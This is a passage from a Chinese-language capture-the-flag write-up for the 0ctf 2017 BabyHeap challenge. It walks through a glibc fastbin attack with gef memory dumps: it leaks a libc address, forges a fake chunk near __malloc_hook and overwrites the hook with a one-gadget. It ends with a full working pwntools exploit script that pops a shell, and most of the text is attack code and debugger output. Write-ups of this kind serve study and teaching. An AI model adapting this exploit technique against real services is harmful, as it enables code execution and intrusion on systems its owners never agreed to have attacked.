gef➤  x/10gx (long long)(&main_arena)-0x30
0x7ffff7dd1af0 <_IO_wide_data_0+304>:	0x00007ffff7dd0260	0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>:	0x00007ffff7a92e20	0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1b20 <main_arena>:	0x0000000000000000	0x4141414141414141  <-- target
0x7ffff7dd1b30 <main_arena+16>:	0x0000000000000000	0x0000000000000000
gef➤  x/10gx (long long)(&main_arena)-0x30+0xd
0x7ffff7dd1afd:	0xfff7a92e20000000	0xfff7a92a0000007f      <-- fake chunk
0x7ffff7dd1b0d: 0x000000000000007f	0x0000000000000000
0x7ffff7dd1b1d:	0x0000000000000000	0x4141414141000000
0x7ffff7dd1b2d:	0x0000000000414141	0x0000000000000000
0x7ffff7dd1b3d:	0x0000000000000000	0x0000000000000000

用本地的泄露地址减去 libc 地址得到偏移:

[0x00000000]> ?v 0x7ffff7dd1b78 - 0x7ffff7a0d000
0x3c4b78

之前 free 掉的 chunk 4 一个 small chunk,被添加到了 unsorted bin 中,而这里我们需要的是 fast chunk,所以这里采用分配一个 fast chunk,再释放掉的办法,将其添加到 fast bins 中。然后改写它的 fd 指针指向 fake chunk(当然也要通过 libc 偏移计算出来):

alloc(0x60)
free(4)

payload = p64(libc + 0x3c4afd)
fill(2, payload)
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x5555557570f0, bk=0x5555557570f0
 →   Chunk(addr=0x555555757100, size=0x20, flags=PREV_INUSE)
gef➤  x/60gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4242424242424242	0x4242424242424242
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000071  <-- new chunk 2, new chunk 4 [be freed]
0x555555757090:	0x00007ffff7dd1afd	0x0000000000000000      <-- fd pointer
0x5555557570a0:	0x0000000000000000	0x0000000000000000
0x5555557570b0:	0x0000000000000000	0x0000000000000000
0x5555557570c0:	0x0000000000000000	0x0000000000000000
0x5555557570d0:	0x0000000000000000	0x0000000000000000
0x5555557570e0:	0x0000000000000000	0x0000000000000000
0x5555557570f0:	0x0000000000000000	0x0000000000000021      <-- unsorted bin
0x555555757100:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x555555757110:	0x0000000000000020	0x0000000000000090  <-- chunk 5
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x4141414141414141	0x4141414141414141
0x555555757160:	0x4141414141414141	0x4141414141414141
0x555555757170:	0x4141414141414141	0x4141414141414141
0x555555757180:	0x4141414141414141	0x4141414141414141
0x555555757190:	0x4141414141414141	0x4141414141414141
0x5555557571a0:	0x0000000000000000	0x0000000000020e61
0x5555557571b0:	0x0000000000000000	0x0000000000000000
0x5555557571c0:	0x0000000000000000	0x0000000000000000
0x5555557571d0:	0x0000000000000000	0x0000000000000000

连续两次分配,第一次将 fake chunk 添加到 fast bins,第二次分配 fake chunk,分别是 new new chunk 4 和 chunk 6。然后就可以改写 __malloc_hook 的地址,将其指向 one-gadget:

alloc(0x60)
alloc(0x60)

payload  = p8(0)*3
payload += p64(one_gadget)
fill(6, payload)
gef➤  x/10gx (long long)(&main_arena)-0x30
0x7ffff7dd1af0 <_IO_wide_data_0+304>:	0x00007ffff7dd0260	0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>:	0x00007ffff7a92e20	0x000000fff7a92a00
0x7ffff7dd1b10 <__malloc_hook>:	0x00007ffff7a5226a	0x0000000000000000  <-- target
0x7ffff7dd1b20 <main_arena>:	0x0000000000000000	0x4141414141414141
0x7ffff7dd1b30 <main_arena+16>:	0x0000000000000000	0x0000000000000000
gef➤  x/60gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4242424242424242	0x4242424242424242
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000071  <-- new chunk 2, new new chunk 4
0x555555757090:	0x0000000000000000	0x0000000000000000
0x5555557570a0:	0x0000000000000000	0x0000000000000000
0x5555557570b0:	0x0000000000000000	0x0000000000000000
0x5555557570c0:	0x0000000000000000	0x0000000000000000
0x5555557570d0:	0x0000000000000000	0x0000000000000000
0x5555557570e0:	0x0000000000000000	0x0000000000000000
0x5555557570f0:	0x0000000000000000	0x0000000000000021      <-- unsorted bin
0x555555757100:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x555555757110:	0x0000000000000020	0x0000000000000090  <-- chunk 5
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x4141414141414141	0x4141414141414141
0x555555757160:	0x4141414141414141	0x4141414141414141
0x555555757170:	0x4141414141414141	0x4141414141414141
0x555555757180:	0x4141414141414141	0x4141414141414141
0x555555757190:	0x4141414141414141	0x4141414141414141
0x5555557571a0:	0x0000000000000000	0x0000000000020e61
0x5555557571b0:	0x0000000000000000	0x0000000000000000
0x5555557571c0:	0x0000000000000000	0x0000000000000000
0x5555557571d0:	0x0000000000000000	0x0000000000000000
gef➤  x/30gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> new chunk 1
0xafc966564e0:	0x0000000000000010	0x0000555555757050
0xafc966564f0:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> new chunk 2
0xafc96656500:	0x0000555555757090	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000001	0x0000000000000060  <-- idx 4 -> new new chunk4
0xafc96656530:	0x0000555555757090	0x0000000000000001  <-- idx 5 -> chunk 5
0xafc96656540:	0x0000000000000080	0x0000555555757120
0xafc96656550:	0x0000000000000001	0x0000000000000060  <-- idx 6 -> chunk 6
0xafc96656560:	0x00007ffff7dd1b0d	0x0000000000000000
0xafc96656570:	0x0000000000000000	0x0000000000000000
0xafc96656580:	0x0000000000000000	0x0000000000000000
0xafc96656590:	0x0000000000000000	0x0000000000000000
0xafc966565a0:	0x0000000000000000	0x0000000000000000

最后,只要调用了 malloc,就会触发 hook 函数,即 one-gadget。现在可以开启 ASLR 了,因为通过泄漏 libc 地址,我们已经完全绕过了它。

Bingo!!!

$ python exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] leak => 0x7f8c1be9eb78
[*] libc => 0x7f8c1bada000
[*] __malloc_hook => 0x7f8c1be9eb10
[*] one_gadget => 0x7f8c1bb1f26a
[*] Switching to interactive mode
$ whoami
firmy

本题多次使用 fastbin attack,确实经典。

exploit

完整的 exp 如下:

from pwn import *

io = remote('127.0.0.1', 10001)

def alloc(size):
    io.recvuntil("Command: ")
    io.sendline('1')
    io.recvuntil("Size: ")
    io.sendline(str(size))

def fill(idx, cont):
    io.recvuntil("Command: ")
    io.sendline('2')
    io.recvuntil("Index: ")
    io.sendline(str(idx))
    io.recvuntil("Size: ")
    io.sendline(str(len(cont)))
    io.recvuntil("Content: ")
    io.send(cont)

def free(idx):
    io.recvuntil("Command: ")
    io.sendline('3')
    io.recvuntil("Index: ")
    io.sendline(str(idx))

def dump(idx):
    io.recvuntil("Command: ")
    io.sendline('4')
    io.recvuntil("Index: ")
    io.sendline(str(idx))
    io.recvuntil("Content: \n")
    data = io.recvline()
    return data

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
#fill(0, "A"*16)
#fill(1, "A"*16)
#fill(2, "A"*16)
#fill(3, "A"*16)
#fill(4, "A"*128)

free(1)
free(2)

payload  = "A"*16
payload += p64(0)
payload += p64(0x21)
payload += p64(0)
payload += "A"*8
payload += p64(0)
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

payload  = "A"*16
payload += p64(0)
payload += p64(0x21)
fill(3, payload)

alloc(0x10)
alloc(0x10)
#fill(1, "B"*16)
#fill(2, "C"*16)
#fill(4, "D"*16)

payload  = "A"*16
payload += p64(0)
payload += p64(0x91)
fill(3, payload)

alloc(0x80)
#fill(5, "A"*128)

free(4)

leak = u64(dump(2)[:8])
libc = leak - 0x3c4b78          # 0x3c4b78 = leak - libc
__malloc_hook = libc + 0x3c4b10    # readelf -s libc.so.6 | grep __malloc_hook@
one_gadget = libc + 0x4526a
log.info("leak => 0x%x" % leak)
log.info("libc => 0x%x" % libc)
log.info("__malloc_hook => 0x%x" % __malloc_hook)
log.info("one_gadget => 0x%x" % one_gadget)

alloc(0x60)
free(4)

payload = p64(libc + 0x3c4afd)
fill(2, payload)

alloc(0x60)
alloc(0x60)

payload  = p8(0)*3
payload += p64(one_gadget)
fill(6, payload)

alloc(1)
io.interactive()

参考资料

0ctf Quals 2017 - BabyHeap2017
how2heap
下载文件
题目复现
题目解析
漏洞利用
参考资料